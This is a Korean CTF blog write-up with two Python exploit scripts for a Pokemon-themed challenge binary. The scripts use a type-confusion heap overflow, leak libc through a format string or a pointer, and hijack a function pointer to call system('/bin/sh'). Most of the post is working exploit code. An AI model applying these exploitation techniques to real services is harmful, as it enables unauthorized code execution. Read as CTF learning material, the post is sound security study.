1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 | #!/usr/bin/python from socket import * from struct import * from time import * p = lambda x : pack("<L",x) printf_plt = 0x08048520 libc_start_main_got = 0x080485d2 libc_start_main_off = 0x19990 system = 0 system_off = 0x40190 libc = 0 """ STRUCTURE char name[15] <---- argument of printf/system char artwork[] int health int attack_power int * attack int * inf_pokemon() <---- leak/pwn printf/system """ def get_pokemons(): print "[*] Getting pokemons" for i in range(4): s.send("1\n") sleep(4.5);s.recv(1024) s.send("1\n") sleep(4.5);s.recv(1024) s.send("2\n1\n") sleep(4.5);s.recv(1024) print "[+] Got %d/4"%(i+1) def get_charizard(arg): buf = "" print "[*] Getting Charizard" while 1: s.send("1\n") sleep(4.5) buf = s.recv(1024) if buf.find("Charizard") != -1: print "[+] charizard Found" s.send("1\n1\n1\n1\n") sleep(0.3);s.recv(1024) s.send("2\n") sleep(0.3);s.recv(1024) s.send(arg+"\n") sleep(0.3);s.recv(1024) s.send("2\n") sleep(0.3);s.recv(1024) print "[+] Got Charizard" break elif buf.find("failed") != -1: continue else: s.send("3\n") sleep(0.3);s.recv(1024) def taint_charizard(inf_pokemon): payload = "" payload += "A"*513 payload += p(inf_pokemon) payload += "B"*(2152-len(payload)-25) print "[*] Payload Generated" print "[*] Insert Payload" s.send("5\n") sleep(0.3);s.recv(1024) s.send("2\n") sleep(0.3) s.send(payload+"\n") sleep(0.3);s.recv(1024) print "[*] Payload Inserted" def leak(leak_m): buf = "" sleep(2) buf = s.recv(1024) print buf leak = buf[buf.find(leak_m)+len(leak_m):] print leak leak = int(leak[:8],16) print "[+] Leaked : %08x"%leak libc = leak - libc_start_main_off - 243 system = libc + system_off print "[+] libc : %08x"%libc print "[+] system : %08x"%system return system s = socket(AF_INET,SOCK_STREAM) s.connect(('localhost',54545)) get_pokemons() get_charizard("LEAK:%23$08x") taint_charizard(printf_plt) print "[*] Bug Trigger" s.send("3\n") sleep(0.5);s.recv(1024) system = leak("LEAK:") sleep(0.3) get_charizard("/bin/sh") taint_charizard(system) sleep(0.3) print "[*] Bug Trigger" s.send("3\n") sleep(0.5) s.send("echo Kappa_Pwned > /home/bc/kappapwn\n") sleep(0.3) s.close() |
이 exploit 코드는 printf call을 이용한 fsb로 __libc_start_main+243을 릭 하여 주소를 계산합니다
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 | #!/usr/bin/python from socket import * from struct import * from time import * p = lambda x : pack("<L",x) inf_pokemon = 0x08048766 libc_start_main_got = 0x080485d2 libc_start_main_off = 0x19990 system = 0 system_off = 0x40190 libc = 0 """ STRUCTURE char name[15] char artwork[] int health int attack_power int * attack <----- LEAK int * inf_pokemon() <----- HACK """ def get_pokemons(): print "[*] Getting Pokemons" for i in range(4): s.send("1\n") sleep(4.5);s.recv(1024) s.send("1\n") sleep(4.5);s.recv(1024) s.send("2\n1\n") sleep(0.3);s.recv(1024) print "[+] Got %d/4"%(i+1) def get_charizard(): buf = "" print "[*] Getting Charizard" while 1: s.send("1\n") sleep(4.5) buf = s.recv(1024) if buf.find("Charizard") != -1: print "[+] Charizard Found" s.send("1\n1\n1\n1\n") sleep(0.3);s.recv(1024) s.send("2\n") sleep(0.3);s.recv(1024) s.send("/bin/sh\n") sleep(0.3);s.recv(1024) s.send("2\n") sleep(0.3);s.recv(1024) print "[+] Got Charizard" break elif buf.find("failed") != -1: continue else: s.send("3\n") sleep(0.3);s.recv(1024) def taint_charizard(attack,inf_pokemon): payload = "" payload += "A"*509 payload += p(attack) payload += p(inf_pokemon) payload += "B"*(2152-len(payload)-25) print "[*] Payload Generated" print "[*] Insert Payload" s.send("5\n") sleep(0.3);s.recv(1024) s.send("2\n") sleep(0.3) s.send(payload+"\n") sleep(0.3);s.recv(1024) print "[*] Payload Inserted" def leak(): buf = "" sleep(2) buf = s.recv(2048*5) buf = buf[buf.find("1094795585"):] #print buf buf = buf[buf.find("Attack: ")+8:buf.find("Name:")-1] #print buf,len(buf) leaked = unpack("<L",buf[:4])[0] print "[+] Leaked : %08x"%leaked #leaked2= unpack("<L",buf[4:])[0] #print "[+] Leaked : %08x"%leaked2 libc = leaked - libc_start_main_off system = libc + system_off print "[+] libc : %08x"%libc print "[+] system : %08x"%system return system def reset(): s.send("4\n") sleep(0.3);s.recv(1024) s.send("2\n") sleep(0.3);s.recv(1024) while 1: s.send("1\n") sleep(4.5) buf = s.recv(1024) if buf.find("Charizard") != -1: s.send("3\n"); sleep(0.3);s.recv(1024) elif buf.find("failed") != -1: continue else: s.send("2\n") sleep(0.3);s.recv(1024) s.send("/bin/sh\n") sleep(0.3);s.recv(1024) s.send("2\n") sleep(0.3);s.recv(1024) break s = socket(AF_INET,SOCK_STREAM) s.connect(('localhost',54545)) get_pokemons() get_charizard() taint_charizard(libc_start_main_got,inf_pokemon) print "[*] Bug Trigger" s.send("3\n") sleep(0.5);s.recv(1024) system = leak() sleep(0.3) reset() get_charizard() taint_charizard(0x41414141,system) sleep(0.3) print "[*] Bug Trigger" s.send("3\n") sleep(0.5) s.send("echo Kappa_Pwned2 > /home/bc/kappapwn2\n") sleep(0.3) s.close() | cs |
Kappa_exploit2.py
이 코드는 pokemon 구조체의 * attack을 이용하여 릭 한 후 system 주소를 계산 합니다.
우선 이 문제 시간 엄청 들였음...
엄청 사소한 코딩 실수 한개 때문에 젤 처음에 하던 코드도 안되고 ㅠㅠ 거기서 좀 더 삽질 하면 찾을 수 있었을텐데.
아무튼 해당 버그는 type confuse임. 포켓몬을 잡고 자리가 없으면 어느 포켓몬과 자리를 바꿀지 물어 보는데, 이때 type confuse가 일어남. 왜냐하면 pokemon 구조체의 artwork의 사이즈를 규격화 시켜 놓지 않아서 각각의 포켓몬마다 artwork의 사이즈에 따라 malloc의 크기가 결정 되는데, 포켓몬을 잡고 저장 할 때는 해당 포켓몬이 어떤 포켓몬인지 type을 따로 다른곳에 저장함. 근데 어느 포켓몬과 자리를 바꿀 때에는, type을 바꾸지 않고 그냥 포켓몬의 내용만 바꿔 버림. 그래서 작은 크기의 사이즈가 정해져 있는 포켓몬을 큰 사이즈가 정해져 있는 포켓몬으로 대체 해버리면 type confuse를 이용한 overflow를 통해 artwork 변경으로 eip 조작 가능.
첫번째 익스플로잇은 내가 제일 처음 짠 익스플로잇.
함수 내에서 system 계산을 해 주고 return을 안해줘서(전역 변수로 안해줘서) 익스플로잇이 말을 안들었음 ㅠㅠ
이것때문에 두번째 익스플로잇을 짜게 됨
어쨌건, 첫번째 익스플로잇은 call eax를 이용하여 __libc_start_main을 릭 하는데, printf주소를 inf_pokemon()과 대체 하고, esp+4에 해당 포켓몬의 이름이 있길래, 그 포켓몬의 이름에 포맷 스트링을 넣어 줌. 그러면 23번째애가 __libc_start_main+243인데 얘를 릭 해서 오프셋을 빼고, 243을 빼면 libc_main 주소가 나옴 ㅇㅇ.
그리고 그냥 system 실행 하면 됨.
두번째 익스플로잇은 6시간 삽질하고 검색 해서 만든 익스플로잇 ^^
진짜 짜증나는게 코딩 실수...
여러분 코딩 실수 하지 맙시다
'CTF > Problems' 카테고리의 다른 글
[문서] Return to syscall + H3X0R CTF libsteak write up (1) | 2018.06.16 |
---|---|
0ctf 2017 babyheap (0) | 2018.01.18 |
cookbook (0) | 2016.11.13 |
mynx writeup (0) | 2016.07.18 |